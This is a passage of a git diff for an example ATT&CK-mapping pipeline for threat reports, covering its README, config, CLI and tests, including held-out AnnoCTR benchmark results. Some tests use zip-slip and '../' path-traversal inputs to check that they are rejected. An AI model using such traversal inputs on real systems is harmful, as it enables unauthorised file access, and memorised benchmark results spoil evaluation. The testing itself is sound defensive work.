My!” report -from AnnoCTR's test split. The report agent maps against active ATT&CK 19.2. It -has to distinguish interception and cookie theft from later reuse of the stolen +The copied `.env` points to `http://localhost:8080`. Set `SIE_CLUSTER_URL` and +`SIE_API_KEY` to use SIE Cloud. + +`demo` reads Proofpoint's “MFA PSA, Oh My!” report from AnnoCTR. The report +describes reverse-proxy phishing without supplying the current ATT&CK mapping. +The agent must separate interception, cookie theft, and reuse of a stolen cookie, including current sub-technique `T1550.004`. -Remove `--limit` for the complete benchmark split. The stages are cumulative: +The checked-in run selected `T1550.004` for the exact words “use the stolen +session cookie to log in as the victim.” Its nearest labeled AnnoCTR example +pointed to `T1539`, which describes stealing the cookie. The routing policy kept +the reuse mapping and placed it in the closer-review lane. See `verified-run/` +for the report, raw SIE calls, candidate ledger, and checksummed manifest. + +## Run the raw-report evaluation + +The end-to-end benchmark starts from every complete report in a published +AnnoCTR split: + +```bash +uv run attck-map full-benchmark --split dev --run-id dev-full +uv run attck-map full-benchmark --split test --run-id test-frozen +``` + +Use development data while changing prompts or thresholds. `EXPERIMENT.md` +freezes the held-out test protocol and excludes the Proofpoint worked example +from the aggregate. + +Each run writes the extracted event spans, candidate ledgers, final mappings, +gold mentions, metrics, API calls, and a manifest with artifact hashes. The API +ledger keeps the exact payload and raw response for extraction, reranking, and +verification. Dense and token-level vectors stay in compressed NumPy files. +The evaluation reports: -- `retrieve` embeds the active ATT&CK catalog once and measures dense recall. -- `rerank` sends the top candidates through `Qwen3-Reranker-4B`. -- `verify` runs the strict verifier and invokes the 27B model only when the 4B - verifier returns `ambiguous`. +- direct-suggestion precision where AnnoCTR annotates the cited span; +- behavior and candidate recall from complete reports; +- report-pair reference matches as a coverage diagnostic; +- candidate contribution from dense retrieval, MaxSim, labeled examples, and + their overlaps. -Each run writes `predictions.jsonl`, compressed embedding matrices, an API-call -ledger, recomputed metrics, and a manifest with source and artifact hashes. -The saved predictions retain the exact AnnoCTR evidence span and all active gold -technique IDs. +The older `benchmark` command starts from human-annotated spans. Keep it for +retrieval diagnostics; it is not the end-to-end result. -## What the metrics mean +## Frozen held-out result -The AnnoCTR linking task starts from a human-annotated behavior span. Some spans -have more than one valid technique, so the loader groups duplicate spans into a -multi-label case. The report includes: +The fixed pipeline ran once on the 33-report AnnoCTR test split on August 21, +2026. The Proofpoint worked report was excluded before the run. -- dense hit rate, gold recall at 10, MRR, and document-macro hit rate; -- reranker hit rate and recall at 5; -- verifier coverage, selective precision, and review or abstention rate. +| Release check | Test result | Gate | +|---|---:|---:| +| Exact ATT&CK ID when a direct suggestion overlaps an annotated span | 91/109 (83.5%) | 85% | +| Report-technique pairs with an extracted behavior | 199/317 (62.8%) | 70% | +| Correct technique family reached the finalist set after extraction | 180/199 (90.5%) | 90% | +| Exact source offsets | Passed | Required | +| Worked report absent from the aggregate | Passed | Required | -The benchmark uses the ATT&CK entity snapshot shipped with AnnoCTR because that -is the label space its annotations describe. Full-report review uses ATT&CK -19.2. Mixing those catalogs would count taxonomy changes as model misses. Any -gold ID missing from the bundled benchmark catalog appears under -`excluded_gold_ids`. +The family finalist gate passed. The precision and behavior-recall gates did +not. No prompt, threshold, or rank weight was changed after seeing the test +result. `EXPERIMENT.md` records the development result and the frozen test +contract. ## Decision boundary -This project prepares ATT&CK suggestions for human review. It does not detect an -intrusion, change a security control, or assert that a report author endorsed -the suggested mapping. Full-report behavior extraction and annotated-span -linking are separate evaluation surfaces; the saved manifest states which one a -run measured. +This project prepares ATT&CK suggestions for human review. It does not detect +an intrusion, change a security control, or claim that a report author endorsed +the suggested mapping. MITRE ATT&CK is a registered trademark of The MITRE Corporation. AnnoCTR report text and annotations are licensed CC BY-SA 4.0 by the corpus authors and source diff --git a/examples/threat-report-attck-mapper/config.yaml b/examples/threat-report-attck-mapper/config.yaml index b6d041b0d..7103f77b5 100644 --- a/examples/threat-report-attck-mapper/config.yaml +++ b/examples/threat-report-attck-mapper/config.yaml @@ -5,32 +5,55 @@ cluster: models: parse: "docling" - behavior_extract: "Qwen/Qwen3.5-4B" + behavior_extract: "Qwen/Qwen3.6-27B:no-spec" entities: "fastino/gliner2-large-v1" retrieve: "Qwen/Qwen3-Embedding-8B" + late_interaction: "jinaai/jina-colbert-v2" rerank: "Qwen/Qwen3-Reranker-4B" - verify: "Qwen/Qwen3.5-4B" - escalate: "Qwen/Qwen3.6-27B" + verify: "Qwen/Qwen3.6-27B:no-spec" + escalate: "Qwen/Qwen3.6-27B:no-spec" model_revisions: docling: "310479be56f3a99a0fea75d930e11eea38bf5ef7" - Qwen/Qwen3.5-4B: "851bf6e806efd8d0a36b00ddf55e13ccb7b8cd0a" fastino/gliner2-large-v1: "b122b11eeaee4dabd32bed80412f3234c0d0e943" Qwen/Qwen3-Embedding-8B: "1d8ad4ca9b3dd8059ad90a75d4983776a23d44af" + jinaai/jina-colbert-v2: "4552c4dc1ffd7d7a635b6a41a1077fe9c9cdd974" Qwen/Qwen3-Reranker-4B: "22e683669bc0f0bd69640a1354a6d0aebcfeede5" - Qwen/Qwen3.6-27B: "6a9e13bd6fc8f0983b9b99948120bc37f49c13e9" + Qwen/Qwen3.6-27B:no-spec: "6a9e13bd6fc8f0983b9b99948120bc37f49c13e9" retrieval: instruction: "Given a behavior described in a cyber threat report, retrieve the MITRE ATT&CK Enterprise technique that directly explains the behavior." - candidate_count: 25 - rerank_count: 8 - verifier_count: 5 + exemplar_instruction: "Represent this threat-report span for ATT&CK technique classification." + candidate_count: 75 + dense_pool_count: 50 + late_interaction_pool_count: 50 + exemplar_pool_count: 20 + exemplar_rrf_weight: 2.0 + rerank_count: 75 + verifier_count: 10 embedding_batch_size: 16 + multivector_batch_size: 16 report: - max_behaviors: 12 - chunk_characters: 12000 - use_escalation: true + max_behaviors: 24 + # Keeps the extraction prompt plus a 4096-token JSON response inside the + # 8192-token Qwen3.6 serving profile, including the 40 entity hints. + chunk_characters: 4500 + entity_chunk_characters: 2000 + chunk_overlap_characters: 400 + use_escalation: false + +evaluation: + suggestion_annotated_span_precision_gate: 0.85 + report_pair_behavior_recall_gate: 0.70 + report_pair_family_conditional_finalist_recall_gate: 0.90 + excluded_documents: + - "proofpoint_2022-02-03_mfa-psa-oh-my" + +concurrency: + documents: 8 + rerank: 16 + verify: 8 sources: attack: diff --git a/examples/threat-report-attck-mapper/tests/test_data.py b/examples/threat-report-attck-mapper/tests/test_data.py index 122c0cd64..91ba16365 100644 --- a/examples/threat-report-attck-mapper/tests/test_data.py +++ b/examples/threat-report-attck-mapper/tests/test_data.py @@ -5,7 +5,13 @@ import pytest -from threat_mapper.data import _safe_extract, find_annoctr_report, load_linking_cases +from threat_mapper.data import ( + _safe_extract, + find_annoctr_report, + load_gold_mentions, + load_linking_cases, + load_training_examples, +) def test_linking_rows_with_same_span_become_one_multilabel_case(tmp_path) -> None: @@ -48,6 +54,43 @@ def test_linking_rows_with_same_span_become_one_multilabel_case(tmp_path) -> Non assert cases[0].annotation_classes == ("CE", "CI") +def test_training_examples_exclude_negative_spans_and_keep_source_context(tmp_path) -> None: + path = tmp_path / "root" / "AnnoCTR" / "linking_mitre_only" + path.mkdir(parents=True) + rows = [ + { + "mention": "downloaded another payload", + "_context_left": "The loader ", + "_context_right": ".", + "label_link": "https://attack.mitre.org/techniques/T1105", + "entity_class": "CI", + "entity_type": "TECHNIQUE", + "document": "train-report", + }, + { + "mention": "malware", + "context_left": "The seller advertised ", + "context_right": ".", + "label_link": "No Annotation", + "entity_class": "", + "entity_type": "TECHNIQUE", + "document": "train-report", + }, + ] + (path / "train.jsonl").write_text( + "\n".join(json.dumps(row) for row in rows) + "\n", + encoding="utf-8", + ) + + examples = load_training_examples(tmp_path) + + assert len(examples) == 1 + assert examples[0].technique_id == "T1105" + assert examples[0].embedding_text == ( + "Span: downloaded another payload\nSentence: The loader downloaded another payload." + ) + + def test_safe_extract_rejects_zip_slip(tmp_path) -> None: archive = tmp_path / "bad.zip" with zipfile.ZipFile(archive, "w") as bundle: @@ -60,3 +103,29 @@ def test_safe_extract_rejects_zip_slip(tmp_path) -> None: def test_find_annoctr_report_rejects_path_traversal(tmp_path) -> None: with pytest.raises(ValueError, match="safe AnnoCTR document"): find_annoctr_report(tmp_path, "test", "../report") + + +def test_gold_mentions_use_context_to_align_a_repeated_span(tmp_path) -> None: + root = tmp_path / "root" / "AnnoCTR" + linking = root / "linking_mitre_only" + reports = root / "text" / "test" + linking.mkdir(parents=True) + reports.mkdir(parents=True) + report = "The tool used a cookie before. Later it stole a cookie to log in." + (reports / "report.txt").write_text(report, encoding="utf-8") + row = { + "mention": "cookie", + "_context_left": "Later it stole a ", + "_context_right": " to log in.", + "label_link": "https://attack.mitre.org/techniques/T1539", + "entity_class": "CI", + "entity_type": "TECHNIQUE", + "document": "report", + } + (linking / "test.jsonl").write_text(json.dumps(row) + "\n", encoding="utf-8") + + mentions = load_gold_mentions(tmp_path, "test") + + assert len(mentions) == 1 + assert mentions[0].source_start == report.rindex("cookie") + assert report[mentions[0].source_start : mentions[0].source_end] == mentions[0].quote diff --git a/examples/threat-report-attck-mapper/tests/test_evaluation.py b/examples/threat-report-attck-mapper/tests/test_evaluation.py index 761a2a460..fe185dfa2 100644 --- a/examples/threat-report-attck-mapper/tests/test_evaluation.py +++ b/examples/threat-report-attck-mapper/tests/test_evaluation.py @@ -1,6 +1,7 @@ from __future__ import annotations -from threat_mapper.evaluation import evaluate_predictions +from threat_mapper.evaluation import evaluate_full_report_predictions, evaluate_predictions +from threat_mapper.models import GoldTechniqueMention def candidate(technique_id: str) -> dict[str, object]: @@ -60,3 +61,183 @@ def test_evaluation_returns_zero_metrics_when_no_cases_have_active_gold() -> Non "mrr": 0.0, "document_macro_hit_at_1": 0.0, } + + +def test_full_report_evaluation_scores_span_linking_and_checks_evidence() -> None: + report = "The actor stole a session cookie and then ran a script." + cookie_start = report.index("stole") + script_start = report.index("ran") + predictions = [ + { + "document": "report", + "quote": "stole a session cookie", + "source_start": cookie_start, + "source_end": cookie_start + len("stole a session cookie"), + "support": "supported", + "selected_technique_id": "T1539", + "candidates": [ + { + "technique_id": "T1539", + "dense_rank": 31, + "late_interaction_rank": 4, + "rerank_rank": 0, + } + ], + }, + { + "document": "report", + "quote": "ran a script", + "source_start": script_start, + "source_end": script_start + len("ran a script"), + "support": "supported", + "selected_technique_id": "T9999", + "candidates": [ + { + "technique_id": "T9999", + "dense_rank": 2, + "late_interaction_rank": 3, + "rerank_rank": 0, + } + ], + }, + ] + gold = [ + GoldTechniqueMention("implicit", "report", "T1539", "CI", "session cookie", 18, 32), + GoldTechniqueMention("explicit", "report", "T1059", "CE", "script", 48, 54), + ] + + metrics = evaluate_full_report_predictions( + predictions, + gold, + {"report": report}, + suggestion_annotated_span_precision_gate=0.5, + report_pair_behavior_recall_gate=1.0, + report_pair_family_conditional_finalist_recall_gate=0.5, + ) + + assert metrics["metrics"]["implicit_recall"] == 1.0 + assert metrics["metrics"]["overall_precision"] == 0.5 + assert metrics["metrics"]["annotated_span_precision"] == 0.5 + assert metrics["predictions"]["invalid_evidence"] == 0 + assert metrics["funnel"]["implicit"] == { + "gold_mentions": 1, + "behavior_found": 1, + "behavior_recall": 1.0, + "finalist_reached": 1, + "finalist_recall": 1.0, + "family_finalist_reached": 1, + "family_finalist_recall": 1.0, + "final_matched": 1, + "final_recall": 1.0, + "family_final_matched": 1, + "family_final_recall": 1.0, + } + assert metrics["retrieval_contribution"]["matched_mappings_by_candidate_source"] == { + "dense_and_late_interaction": 0, + "dense_only": 0, + "late_interaction_only": 1, + "candidate_ledger_unavailable": 0, + } + assert metrics["retrieval_contribution"]["exact_finalists_by_candidate_source"] == { + "dense_and_late_interaction": 0, + "dense_only": 0, + "late_interaction_only": 1, + "candidate_ledger_unavailable": 0, + } + assert metrics["retrieval_contribution"]["family_finalists_by_candidate_source"] == { + "dense_and_late_interaction": 0, + "dense_only": 0, + "late_interaction_only": 1, + "candidate_ledger_unavailable": 0, + } + assert metrics["gates"]["passed"] is True + + +def test_full_report_evaluation_reports_parent_subtechnique_family_matches_separately() -> None: + report = "The implant captured each keystroke." + start = report.index("captured") + predictions = [ + { + "document": "report", + "quote": "captured each keystroke", + "source_start": start, + "source_end": len(report) - 1, + "support": "supported", + "selected_technique_id": "T1056.001", + "candidates": [ + { + "technique_id": "T1056.001", + "dense_rank": 25, + "late_interaction_rank": 2, + "rerank_rank": 0, + } + ], + } + ] + gold = [ + GoldTechniqueMention( + "implicit", + "report", + "T1056", + "CI", + "captured each keystroke", + start, + len(report) - 1, + ) + ] + + metrics = evaluate_full_report_predictions(predictions, gold, {"report": report}) + + assert metrics["metrics"]["implicit_recall"] == 0.0 + assert metrics["metrics"]["implicit_family_recall"] == 1.0 + assert metrics["metrics"]["annotated_span_family_precision"] == 1.0 + assert metrics["funnel"]["implicit"]["family_finalist_recall"] == 1.0 + assert ( + metrics["retrieval_contribution"]["family_matched_mappings_by_candidate_source"]["late_interaction_only"] == 1 + ) + assert metrics["retrieval_contribution"]["family_finalists_by_candidate_source"]["late_interaction_only"] == 1 + assert metrics["family_matches"][0]["gold_technique_id"] == "T1056" + assert metrics["family_matches"][0]["predicted_technique_id"] == "T1056.001" + + +def test_full_report_evaluation_collapses_repeated_mentions_at_the_agent_output_unit() -> None: + report = "Ransomware encrypted files. The ransomware note followed." + predictions = [ + { + "document": "report", + "quote": "encrypted files", + "source_start": 11, + "source_end": 26, + "support": "supported", + "selected_technique_id": "T1486", + "candidates": [{"technique_id": "T1486", "dense_rank": 0, "late_interaction_rank": 1}], + } + ] + gold = [ + GoldTechniqueMention("one", "report", "T1486", "CI", "Ransomware", 0, 10), + GoldTechniqueMention("two", "report", "T1486", "CI", "encrypted files", 11, 26), + GoldTechniqueMention("three", "report", "T1486", "CI", "ransomware", 32, 42), + ] + + metrics = evaluate_full_report_predictions(predictions, gold, {"report": report}) + + assert metrics["metrics"]["overall_recall"] == 1 / 3 + assert metrics["report_technique"]["exact"] == { + "gold_pairs": 1, + "predicted_pairs": 1, + "correct_pairs": 1, + "precision": 1.0, + "recall": 1.0, + "implicit_only_gold_pairs": 1, + "implicit_only_correct_pairs": 1, + "implicit_only_recall": 1.0, + "funnel": { + "behavior_found": 1, + "behavior_recall": 1.0, + "finalist_reached": 1, + "finalist_recall": 1.0, + "conditional_finalist_recall": 1.0, + "final_supported": 1, + "final_recall": 1.0, + }, + } diff --git a/examples/threat-report-attck-mapper/tests/test_pipeline.py b/examples/threat-report-attck-mapper/tests/test_pipeline.py index 6f4f5a43c..e60339ccf 100644 --- a/examples/threat-report-attck-mapper/tests/test_pipeline.py +++ b/examples/threat-report-attck-mapper/tests/test_pipeline.py @@ -2,8 +2,17 @@ import numpy as np -from threat_mapper.models import BehaviorEvidence, CandidateScore, Technique -from threat_mapper.pipeline import _ground_quote, retrieve, split_report, verify_mapping +from threat_mapper.models import BehaviorEvidence, CandidateScore, LabeledTechniqueExample, Technique +from threat_mapper.pipeline import ( + _ground_quote, + evidence_sha256, + rerank, + retrieve, + retrieve_exemplars, + retrieve_hybrid, + split_report, + verify_mapping, +) def technique(technique_id: str, name: str) -> Technique: @@ -21,15 +30,31 @@ def technique(technique_id: str, name: str) -> Technique: class FakeGenerateClient: - def __init__(self, payloads: list[dict[str, object]]) -> None: + def __init__(self, payloads: list[dict[str, object] | str]) -> None: self.payloads = payloads self.models: list[str] = [] + self.prompts: list[str] = [] def generate(self, model: str, prompt: str, **kwargs): import json self.models.append(model) - return {"model": model, "text": json.dumps(self.payloads.pop(0)), "request": {"id": "request"}} + self.prompts.append(prompt) + payload = self.payloads.pop(0) + text = payload if isinstance(payload, str) else json.dumps(payload) + return {"model": model, "text": text, "request": {"id": "request"}} + + +class FakeScoreClient: + def score(self, model: str, query: dict[str, object], items: list[dict[str, object]], **kwargs): + return { + "model": model, + "query_id": query["id"], + "scores": [ + {"item_id": item["id"], "score": 1.0 - index / 10, "rank": index} for index, item in enumerate(items) + ], + "request": {"id": "request"}, + } def test_ground_quote_recovers_source_whitespace() -> None: @@ -88,6 +113,118 @@ def test_behavior_extraction_preserves_offsets_with_noncanonical_separators() -> assert report[behaviors[0].source_start : behaviors[0].source_end] == "used a proxy" +def test_behavior_extraction_keeps_distinct_actions_from_the_same_quote() -> None: + from threat_mapper.pipeline import extract_behaviors + + quote = "The loader stole passwords and downloaded another payload." + client = FakeGenerateClient( + [ + { + "behaviors": [ + { + "quote": quote, + "summary": "The loader stole passwords.", + "action": "stole", + "object": "passwords", + }, + { + "quote": quote, + "summary": "The loader downloaded another payload.", + "action": "downloaded", + "object": "another payload", + }, + ] + } + ] + ) + + behaviors, _ = extract_behaviors( + client, + "Qwen/Qwen3.6-27B", + quote, + max_behaviors=4, + chunk_characters=100, + provision_timeout_s=60, + ) + + assert [(row.action, row.object) for row in behaviors] == [ + ("stole", "passwords"), + ("downloaded", "another payload"), + ] + + +def test_evidence_hash_distinguishes_actions_from_the_same_source_span() -> None: + base = { + "quote": "The loader stole passwords and downloaded another payload.", + "summary": "Atomic behavior", + "source_start": 10, + "source_end": 69, + } + theft = BehaviorEvidence(**base, action="stole", object="passwords") + download = BehaviorEvidence(**base, action="downloaded", object="another payload") + + assert evidence_sha256(theft) != evidence_sha256(download) + + +def test_behavior_extraction_retries_truncated_json_with_smaller_chunks() -> None: + from threat_mapper.pipeline import extract_behaviors + + first = "A" * 800 + " used a proxy." + second = "B" * 800 + " stole a cookie." + report = f"{first}\n\n{second}" + client = FakeGenerateClient( + [ + '{"behaviors":[{"quote":"unfinished', + {"behaviors": [{"quote": "used a proxy", "summary": "Proxy use"}]}, + {"behaviors": [{"quote": "stole a cookie", "summary": "Cookie theft"}]}, + ] + ) + + behaviors, calls = extract_behaviors( + client, + "Qwen/Qwen3.6-27B", + report, + max_behaviors=24, + chunk_characters=2000, + provision_timeout_s=60, + ) + + assert [row.quote for row in behaviors] == ["used a proxy", "stole a cookie"] + assert calls[0]["outcome"] == "invalid_json_retried_with_smaller_request" + assert calls[0]["request_payload"]["prompt"].endswith(report) + assert calls[0]["request_payload"]["max_new_tokens"] == 4096 + assert calls[0]["request_payload"]["grammar"]["json_schema"]["properties"]["behaviors"]["maxItems"] == 24 + assert calls[0]["raw_response"]["text"] == '{"behaviors":[{"quote":"unfinished' + assert len(calls) == 3 + + +def test_behavior_extraction_reduces_the_row_limit_when_text_cannot_split() -> None: + from threat_mapper.pipeline import extract_behaviors + + report = "The loader used a proxy." + client = FakeGenerateClient( + [ + '{"behaviors":[{"quote":"unfinished', + {"behaviors": [{"quote": "used a proxy", "summary": "Proxy use"}]}, + ] + ) + + behaviors, calls = extract_behaviors( + client, + "Qwen/Qwen3.6-27B", + report, + max_behaviors=4, + chunk_characters=100, + provision_timeout_s=60, + ) + + assert [row.quote for row in behaviors] == ["used a proxy"] + assert "Return at most 4 behaviors" in client.prompts[0] + assert "Return at most 2 behaviors" in client.prompts[1] + assert calls[1]["request_payload"]["grammar"]["json_schema"]["properties"]["behaviors"]["maxItems"] == 2 + assert calls[0]["outcome"] == "invalid_json_retried_with_smaller_request" + + def test_split_report_returns_exact_source_spans_when_paragraphs_merge() -> None: report = " First paragraph.\n\n\nSecond paragraph. " @@ -107,6 +244,101 @@ def test_retrieve_sorts_by_cosine_score() -> None: assert [row.technique_id for row in rows] == ["T1539", "T1557"] +def test_hybrid_retrieval_unions_dense_and_token_level_maxsim_candidates() -> None: + techniques = [ + technique("T1000", "Dense match"), + technique("T2000", "Late interaction match"), + technique("T3000", "Other"), + ] + catalog_dense = np.asarray([[1.0, 0.0], [0.0, 1.0], [-1.0, 0.0]], dtype=np.float32) + query_dense = np.asarray([1.0, 0.0], dtype=np.float32) + catalog_multivectors = [ + np.asarray([[0.0, 1.0]], dtype=np.float32), + np.asarray([[1.0, 0.0], [0.0, 1.0]], dtype=np.float32), + np.asarray([[-1.0, 0.0]], dtype=np.float32), + ] + query_multivector = np.asarray([[1.0, 0.0], [0.0, 1.0]], dtype=np.float32) + + rows = retrieve_hybrid( + query_dense, + catalog_dense, + query_multivector, + catalog_multivectors, + techniques, + dense_count=1, + late_interaction_count=1, + candidate_count=2, + ) + + assert {row.technique_id for row in rows} == {"T1000", "T2000"} + late = next(row for row in rows if row.technique_id == "T2000") + assert late.late_interaction_rank == 0 + assert late.late_interaction_score == 2.0 + + +def test_hybrid_retrieval_adds_the_best_labeled_example_per_technique() -> None: + techniques = [ + technique("T1000", "Dense match"), + technique("T2000", "Example match"), + technique("T3000", "Other"), + ] + lookup = {row.technique_id: row for row in techniques} + examples = [ + LabeledTechniqueExample("T2000", "used SOCKS5", "The tool used SOCKS5.", "train-a", "CI"), + LabeledTechniqueExample("T2000", "used a proxy", "The tool used a proxy.", "train-b", "CI"), + LabeledTechniqueExample("T9999", "old label", "An old label.", "train-c", "CI"), + ] + example_vectors = np.asarray([[1.0, 0.0], [0.5, 0.5], [1.0, 0.0]], dtype=np.float32) + query = np.asarray([1.0, 0.0], dtype=np.float32) + + exemplar_candidates = retrieve_exemplars(query, example_vectors, examples, lookup, 2) + rows = retrieve_hybrid( + np.asarray([1.0, 0.0], dtype=np.float32), + np.asarray([[1.0, 0.0], [-1.0, 0.0], [0.0, 1.0]], dtype=np.float32), + np.asarray([[1.0, 0.0]], dtype=np.float32), + [ + np.asarray([[1.0, 0.0]], dtype=np.float32), + np.asarray([[-1.0, 0.0]], dtype=np.float32), + np.asarray([[0.0, 1.0]], dtype=np.float32), + ], + techniques, + dense_count=1, + late_interaction_count=1, + candidate_count=2, + exemplar_candidates=exemplar_candidates, + exemplar_count=1, + exemplar_rrf_weight=2.0, + ) + + assert [row.technique_id for row in exemplar_candidates] == ["T2000"] + example_match = next(row for row in rows if row.technique_id == "T2000") + assert example_match.exemplar_rank == 0 + assert example_match.exemplar_quote == "The tool used SOCKS5." + + +def test_rerank_records_typed_dict_items_in_the_request_trace() -> None: + behavior = BehaviorEvidence("stole a cookie", "cookie theft", 0, 14) + candidates = [CandidateScore("T1539", "Steal Web Session Cookie", 0.9)] + lookup = {"T1539": technique("T1539", "Steal Web Session Cookie")} + + ranked, call = rerank( + FakeScoreClient(), + "Qwen/Qwen3-Reranker-4B", + behavior, + candidates, + lookup, + rerank_count=1, + provision_timeout_s=60, + ) + + assert [row.technique_id for row in ranked] == ["T1539"] + assert call["request_payload"]["query"] == { + "id": "behavior", + "text": "Observed adversary behavior: stole a cookie", + } + assert call["request_payload"]["items"][0]["id"] == "T1539" + + def test_verifier_escalates_ambiguous_and_keeps_human_review_boundary() -> None: client = FakeGenerateClient( [ @@ -129,10 +361,14 @@ def test_verifier_escalates_ambiguous_and_keeps_human_review_boundary() -> None: summary="reuse cookie", source_start=0, source_end=70, + actor="Necrobrowser", + action="used", + object="stolen session cookies", + assertion="defensive", ) candidates = [ - CandidateScore("T1539", "Steal Web Session Cookie", 0.9, 0.8, 0), - CandidateScore("T1550.004", "Web Session Cookie", 0.8, 0.7, 1), + CandidateScore("T1539", "Steal Web Session Cookie", 0.9, 0.8, 0, exemplar_rank=1), + CandidateScore("T1550.004", "Web Session Cookie", 0.8, 0.7, 1, exemplar_rank=0), ] lookup = {row.technique_id: technique(row.technique_id, row.name) for row in candidates} @@ -151,8 +387,13 @@ def test_verifier_escalates_ambiguous_and_keeps_human_review_boundary() -> None: assert decision.selected_technique_id == "T1550.004" assert decision.route == "suggested_mapping" assert decision.status == "needs_analyst_review" + assert decision.exemplar_agreement is True assert decision.escalated is True assert client.models == ["Qwen/Qwen3.5-4B", "Qwen/Qwen3.6-27B"] + assert "Actor: Necrobrowser" in client.prompts[0] + assert "Assertion: defensive" not in client.prompts[0] + assert "Independently decide whether the quote describes adversary activity" in client.prompts[0] + assert "Advertising or selling malware proves neither action" in client.prompts[0] assert [call["stage"] for call in calls] == ["verify", "escalate"] @@ -185,3 +426,100 @@ def test_verifier_fails_closed_when_evidence_is_not_in_source() -> None: assert decision.route == "abstain" assert decision.selected_technique_id is None + + +def test_verifier_routes_supported_mapping_without_exemplar_agreement_to_review() -> None: + client = FakeGenerateClient( + [ + { + "selected_index": 0, + "support": "supported", + "evidence_quote": "downloaded another payload", + "rationale": "The source states a tool transfer.", + } + ] + ) + behavior = BehaviorEvidence("downloaded another payload", "tool transfer", 0, 26) + candidate = CandidateScore( + "T1105", + "Ingress Tool Transfer", + 0.9, + 0.8, + 0, + exemplar_rank=2, + ) + lookup = {"T1105": technique("T1105", "Ingress Tool Transfer")} + + decision, _ = verify_mapping( + client, + "large", + "large", + behavior, + [candidate], + lookup, + verifier_count=1, + use_escalation=False, + provision_timeout_s=60, + ) + + assert decision.support == "supported" + assert decision.exemplar_agreement is False + assert decision.route == "analyst_review" + + +def test_verifier_retries_invalid_json_and_keeps_both_raw_responses() -> None: + client = FakeGenerateClient( + [ + '{"selected_index":0,"support":"supported"', + { + "selected_index": 0, + "support": "supported", + "evidence_quote": "stole cookies", + "rationale": "The source states cookie theft.", + }, + ] + ) + behavior = BehaviorEvidence("stole cookies", "cookie theft", 0, 13) + candidate = CandidateScore("T1539", "Steal Web Session Cookie", 0.9, 0.8, 0) + lookup = {"T1539": technique("T1539", "Steal Web Session Cookie")} + + decision, calls = verify_mapping( + client, + "small", + "large", + behavior, + [candidate], + lookup, + verifier_count=1, + use_escalation=False, + provision_timeout_s=60, + ) + + assert decision.selected_technique_id == "T1539" + assert [call["stage"] for call in calls] == ["verify", "verify_retry"] + assert calls[0]["outcome"] == "invalid_json" + assert calls[0]["raw_response"]["text"].endswith('"supported"') + assert calls[1]["request_payload"]["max_new_tokens"] == 1200 + + +def test_verifier_abstains_when_retry_is_also_invalid_json() -> None: + client = FakeGenerateClient(["{", "{"]) + behavior = BehaviorEvidence("stole cookies", "cookie theft", 0, 13) + candidate = CandidateScore("T1539", "Steal Web Session Cookie", 0.9, 0.8, 0) + lookup = {"T1539": technique("T1539", "Steal Web Session Cookie")} + + decision, calls = verify_mapping( + client, + "small", + "large", + behavior, + [candidate], + lookup, + verifier_count=1, + use_escalation=False, + provision_timeout_s=60, + ) + + assert decision.route == "abstain" + assert decision.rationale == "Verifier returned invalid JSON twice; no mapping emitted." + assert [call["outcome"] for call in calls] == ["invalid_json", "invalid_json"] diff --git a/examples/threat-report-attck-mapper/tests/test_provenance.py b/examples/threat-report-attck-mapper/tests/test_provenance.py index 9a2cf41e0..9acd912ca 100644 --- a/examples/threat-report-attck-mapper/tests/test_provenance.py +++ b/examples/threat-report-attck-mapper/tests/test_provenance.py @@ -1,12 +1,16 @@ from __future__ import annotations +import hashlib import json +from pathlib import Path import pytest from threat_mapper import runner from threat_mapper.runner import _rate_book_provenance +ROOT = Path(__file__).resolve().parents[1] + def test_rate_book_provenance_requires_one_version_and_execution_identity() -> None: calls = [ @@ -71,3 +75,22 @@ def test_publish_failed_run_keeps_persisted_artifacts(tmp_path) -> None: assert manifest["status"] == "post_processing_failed" assert manifest["error"] == {"type": "RuntimeError", "message": "provenance failed"} assert [row["path"] for row in manifest["artifacts"]] == ["api-calls.json", "predictions.jsonl"] + + +def test_verified_run_keeps_the_cookie_reuse_decision_and_artifact_hashes() -> None: + run_dir = ROOT / "verified-run" + manifest = json.loads((run_dir / "manifest.json").read_text(encoding="utf-8")) + review = json.loads((run_dir / "review.json").read_text(encoding="utf-8")) + report = (run_dir / "parsed-report.md").read_text(encoding="utf-8") + artifact_hashes = {row["path"]: row["sha256"] for row in manifest["artifacts"]} + + for name in ("api-calls.json", "parsed-report.md", "review.json"): + assert hashlib.sha256((run_dir / name).read_bytes()).hexdigest() == artifact_hashes[name] + + decision = next(row for row in review["mappings"] if row["selected_technique_id"] == "T1550.004") + assert decision["route"] == "analyst_review" + assert decision["exemplar_agreement"] is False + assert decision["evidence_quote"] == "use the stolen session cookie to log in as the victim" + behavior = decision["behavior"] + assert report[behavior["source_start"] : behavior["source_end"]] == behavior["quote"] + assert decision["evidence_quote"] in behavior["quote"] diff --git a/examples/threat-report-attck-mapper/threat_mapper/cli.py b/examples/threat-report-attck-mapper/threat_mapper/cli.py index 7ab712288..2d3db050e 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/cli.py +++ b/examples/threat-report-attck-mapper/threat_mapper/cli.py @@ -11,7 +11,7 @@ from .config import load_config from .data import ensure_sources, find_annoctr_catalog, load_linking_cases from .evaluation import evaluate_predictions, read_predictions -from .runner import benchmark, map_annoctr_demo, map_report, write_json +from .runner import benchmark, full_report_benchmark, map_annoctr_demo, map_report, write_json console = Console() @@ -47,6 +47,13 @@ def _report(args: argparse.Namespace) -> None: console.print(f"[green]Wrote[/] {result}") +def _full_benchmark(args: argparse.Namespace) -> None: + config = load_config() + run_id = args.run_id or datetime.now(UTC).strftime("%Y%m%dT%H%M%SZ") + result = full_report_benchmark(config, split=args.split, limit=args.limit, run_id=run_id) + console.print(f"[green]Wrote[/] {result}") + + def _demo(args: argparse.Namespace) -> None: config = load_config() run_id = args.run_id or datetime.now(UTC).strftime("%Y%m%dT%H%M%SZ") @@ -84,6 +91,15 @@ def build_parser() -> argparse.ArgumentParser: run_benchmark.add_argument("--run-id") run_benchmark.set_defaults(func=_benchmark) + full_benchmark = commands.add_parser( + "full-benchmark", + help="Run behavior detection and ATT&CK mapping from complete AnnoCTR reports", + ) + full_benchmark.add_argument("--split", choices=("dev", "test"), default="dev") + full_benchmark.add_argument("--limit", type=int) + full_benchmark.add_argument("--run-id") + full_benchmark.set_defaults(func=_full_benchmark) + report = commands.add_parser("report", help="Map behaviors in one text, Markdown, HTML, or PDF report") report.add_argument("report", type=Path) report.add_argument("--run-id") diff --git a/examples/threat-report-attck-mapper/threat_mapper/data.py b/examples/threat-report-attck-mapper/threat_mapper/data.py index 9124a074a..deb13a65f 100644 --- 